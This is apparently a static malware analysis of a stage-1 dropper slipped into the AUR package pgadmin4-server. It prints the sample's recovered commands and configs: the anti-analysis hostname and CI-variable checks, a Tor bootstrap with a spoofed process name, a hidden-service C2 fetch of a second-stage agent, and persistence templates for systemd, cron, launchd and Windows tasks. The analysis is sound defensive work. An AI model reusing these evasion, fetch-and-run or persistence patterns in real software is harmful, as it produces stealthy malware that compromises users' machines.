What the parser binary in AUR pgadmin4-server does ¶
A 43 KB stripped ELF added to the AUR package pgadmin4-server in commit
b7de293 (2026-07-29), invoked as sudo "$srcdir/parser" from build().
Static analysis only — the sample was never executed.
| SHA-256 | a74d56ff107f08401d7868e8bd5f3f0daf10d2c61824f169a083a08d484fabdd |
| Type | ELF 64-bit LSB PIE, x86-64, dynamically linked, stripped |
| BuildID | 436e25d2126ea5c0ae80b350a45c380fec60e5ff |
| Linked libs | libc.so.6 only |
Entry / main |
0x2f20 / 0x2430 |
Summary: it is a stage-1 dropper. It checks it isn't being watched, builds itself an anonymised network transport out of the real Tor client, pulls a second-stage agent from a hidden service, installs it under a random name, and persists it. It is not itself the payload.
String obfuscation ¶
All 154 strings are individually ChaCha20-encrypted, each with its own
32-byte key and 8-byte nonce, with the block counter reset per string. Nothing
useful appears in a plain strings dump.
.rodata layout:
| Address | Contents |
|---|---|
0x6080 |
uint16[154] — plaintext lengths |
0x61c0 |
uint16[154] — cumulative offsets |
0x6300 |
uint8[154][8] — per-string nonces |
0x67e0 |
uint8[154][32] — per-string keys |
0x7b20 |
ciphertext blob |
0xc300 (.bss) |
plaintext destination |
Identification: the expand 32-byte k constants are materialised inline at
0x32cb/0x32da, the standard ChaCha quarter-round is at 0x3204, and the
bulk decryptor at 0x3240 runs 10 double-rounds (4 column + 4 diagonal quarter-
rounds each) before the add-original-state step at 0x3431.
Accessor at 0x34d0:
const char *S(int idx) {
if (!decrypted_flag /* 0xc2e4 */) decrypt_all(); /* 0x3240 */
return (char *)0xc300 + offsets[idx];
}
Reimplementing ChaCha20 against these tables recovers all 154 strings offline.
130 S(idx) call sites resolve to literal indices loaded via mov edi, imm,
which makes the disassembly directly readable.
1. Anti-analysis gate (main, 0x2430) ¶
Runs first. Any hit jumps to 0x2ef6 and exits silently, doing nothing:
- Debugger — parses
TracerPid:from/proc/self/status; nonzero → exit. - Sandbox hostname —
gethostname()matched against:malware, vmware, seclab, sandbox, cuckoo, analysis, virus, vxbox, honeypot, maltest, triage, anyrun, cape, remnux, flare, sndbox - CI environment — exits if any of 26 env vars is set:
GITHUB_ACTIONS, GITLAB_CI, TRAVIS, CIRCLECI, JENKINS_URL, BUILD_BUILDURI, CODEBUILD_BUILD_ID, BUILDKITE, APPVEYOR, BITBUCKET_BUILD_NUMBER, DRONE, SEMAPHORE, TEAMCITY_VERSION, bamboo_agentId, BITRISE_IO, CIRRUS_CI, CF_BUILD_ID, VERCEL, NOW_GITHUB_DEPLOYMENT, WERCKER_MAIN_PIPELINE_STARTED, BUDDY_WORKSPACE_ID, SHIPPABLE, JB_SPACE_EXECUTION_NUMBER, VELA, SCREWDRIVER, DISTELLI_APPNAME
Check 3 is the interesting one. Because this is a build-time payload, the obvious place to catch it is an automated package-build farm — so it refuses to run in one, and detonates only on real developer and end-user machines.
2. Reinfection marker ¶
Stores an infection flag in the security.selinux extended attribute of its
install path (setxattr at 0x38be, getxattr at 0x3bc3). An
innocuous-looking xattr name, chosen to survive casual inspection.
3. Tor transport bootstrap ¶
Downloads the genuine Tor Expert Bundle from the real Tor Project host:
https://archive.torproject.org/tor-package-archive/torbrowser/16.0a7/tor-expert-bundle-linux-x86_64-16.0a7.tar.gz
curl -sLk --max-time 120 -o '%s' '%s' 2>/dev/null
tar xzf '%s' --strip-components=1 -C '%s' 2>/dev/null
Writes a private torrc:
DataDirectory %s
SOCKSPort %d
RunAsDaemon 0
AllowSingleHopCircuits 1
Log notice stderr
Launches it forked, stdio to /dev/null, waiting for Bootstrapped 100%:
execl(tor_path, "dbus-daemon", "-f", torrc_path, NULL); /* 0x52da */
argv[0] is spoofed to dbus-daemon — process-name masquerade. An
alternate hardcoded path also exists:
LD_LIBRARY_PATH=/tmp/tb /tmp/tb/tor --DataDirectory /tmp/tb/data \
--SocksPort %d --ClientOnly 1 --Log 'notice file %s' >/dev/null 2>&1 &
Using the real Tor client means there is no attacker-controlled clearnet infrastructure to seize or blocklist.
4. Command and control ¶
Hand-rolled SOCKS5 client (0x277e–0x292e): connects to 127.0.0.1 on the
local Tor SOCKS port, sends 05 01 00, validates 05 00, then issues a
domain-name CONNECT to:
p4ayykxcrxfyzrgfbbkazernntjbz43hgclrheguylzd7kijmtce6zqd.onion
Followed by a plain HTTP request:
GET / HTTP/1.1
Host: %s
User-Agent: curl/8.9.1
Connection: close
It parses Content-Length: (case-insensitively) and the \r\n\r\n boundary,
requires HTTP 200 (cmp eax, 0xc8 at 0x2ba3), and streams the body to
/dev/shm/.agent.bin, falling back to /tmp/.agent.bin.
Connectivity is probed against 1.1.1.1 and 8.8.8.8.
There is no bind, listen, or accept anywhere in the binary. It is
egress-only; stage 1 opens no inbound backdoor.
5. Stage-2 installation ¶
The downloaded blob is a gzipped tarball containing per-platform directories.
Stage 1 selects linux-x86_64 and reads %s/%s/agent from it. String tables for
macos-aarch64 and windows-x86_64 are compiled in but unreachable in this ELF
— evidence of a cross-platform codebase.
The extracted agent is written under a randomly generated pronounceable name
built from three alphabet tables (brcrdrfrgrkrprtrvrblclflglklplslvlzl,
aeiou, bcdfghjklmnprstvwx) seeded from /dev/urandom, then chmod'd and
started with:
systemd-run --user --scope --unit=%s %s >/dev/null 2>&1
Install location depends on geteuid() (0x3a8f):
- root →
/var/lib/<random> - non-root → a hidden directory under
$HOME(fallback/tmp)
When picking the $HOME hiding spot it enumerates with opendir/readdir and
skips .ssh, .gnupg, .pki, .cert, .password, .local, .config,
.cache. This is a blocklist for placement — it avoids directories a user is
likely to inspect. It is not credential harvesting; no reads of those paths
occur anywhere in the binary.
6. Persistence ¶
All of the following are compiled in, selected by privilege level and platform.
Linux, root — /etc/systemd/system/<random>.service:
[Unit]
After=network.target
[Service]
Type=simple
ExecStart=%s
Restart=always
RestartSec=30
[Install]
WantedBy=multi-user.target
then systemctl daemon-reload + systemctl enable --now '%s', plus
@reboot root %s dropped into /etc/cron.d.
Linux, user — ~/.config/systemd/user/<random>.service
(WantedBy=default.target), then systemctl --user daemon-reload && systemctl --user enable --now '%s' && loginctl enable-linger, plus a
deduplicated @reboot crontab entry.
macOS — LaunchDaemon/LaunchAgent plist labelled com.apple.telemetry.%s,
RunAtLoad + KeepAlive, installed via launchctl bootstrap / launchctl load -w.
Windows — hidden Scheduled Task XML, LogonTrigger with PT30S delay,
RestartOnFailure count 999, dropped in C:\Windows\System32\Tasks; download
fallback via powershell Invoke-WebRequest with certificate validation disabled.
Matching uninstall routines exist that scrub its own systemd units and filter
its own crontab lines back out, enumerating /home/ to clean per-user artefacts.
Assessment ¶
Stage 1 is a loader. Its entire remit is: evade analysis, stand up an anonymised transport, fetch stage 2, install it, persist it, and support its own removal. The actual capability lives in the agent served from the hidden service, which was not retrieved and is not present in the package.
Design priorities visible in the code are stealth over speed (silent bail on
any analysis signal, no retry noise), attribution resistance (all C2 over
Tor, no attacker-owned clearnet infrastructure), and blending in (the
dbus-daemon argv spoof, the security.selinux xattr, com.apple.telemetry.*
labels, randomised unit and directory names).
Because it is invoked via sudo at package build time, on a successful run it
executes with root privileges before any part of pgAdmin is compiled.
✏️ Start writing ¶
Write here. Publish when ready. Share the link.
Your draft stays private until you choose to publish.